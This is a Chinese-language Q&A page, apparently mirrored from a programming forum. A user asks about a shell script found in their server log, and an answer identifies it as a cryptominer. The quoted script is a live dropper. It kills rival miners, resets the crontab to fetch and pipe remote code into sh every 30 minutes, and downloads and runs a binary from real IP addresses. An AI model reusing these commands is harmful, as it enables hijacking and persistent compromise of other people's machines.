首页 > 解决方案 > 发现这个 shell 脚本是在我的 python 服务器日志中执行的。谁能告诉我它的目的?

问题描述

下面的代码显示在我的 Ubuntu 20.04 Linux 桌面系统上的 python3 服务器日志中。这只是我多疑的天性,还是试图破解我的电脑?

cc=http://31.42.177.123
sys=sysrv005
bit=$(getconf LONG_BIT)

ps aux | grep kthreaddi | grep tmp | awk '{print $2}' | xargs -I % kill -9 %
ps aux | egrep 'sysrv001|sysrv002|sysrv003|sysrv004|network01|network00' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep sysrv | grep -v 0 | awk '{print $2}' | xargs -I % kill -9 %
crontab -r
echo "*/30 * * * * (curl --user-agent curl_cron $cc||wget --user-agent wget_cron -q -O - $cc)|sh" | crontab -

#pkill -9 $sys
get() {
    chattr -i $2; rm -rf $2
    curl --user-agent curl_ldr$bit -fsSL $1 > $2 || wget --user-agent wget_ldr$bit -q -O - $1 > $2 || php -r "file_put_contents('$2', file_get_contents('$1'));"
    chmod +x $2
}

cd /tmp || cd /var/run || cd /mnt || cd /root || cd /
ps -fe | grep $sys | grep -v grep; if [ $? -ne 0 ]; then
    get 31.210.20.120/sysrvv $sys; ./$sys
fi

标签: bash

解决方案


是的,它是比特币矿工。

31.42.177.123/...基本上是下载上面的shell脚本,指向31.210.20.120下载sysrvv文件,这是一个比特币矿工。


推荐阅读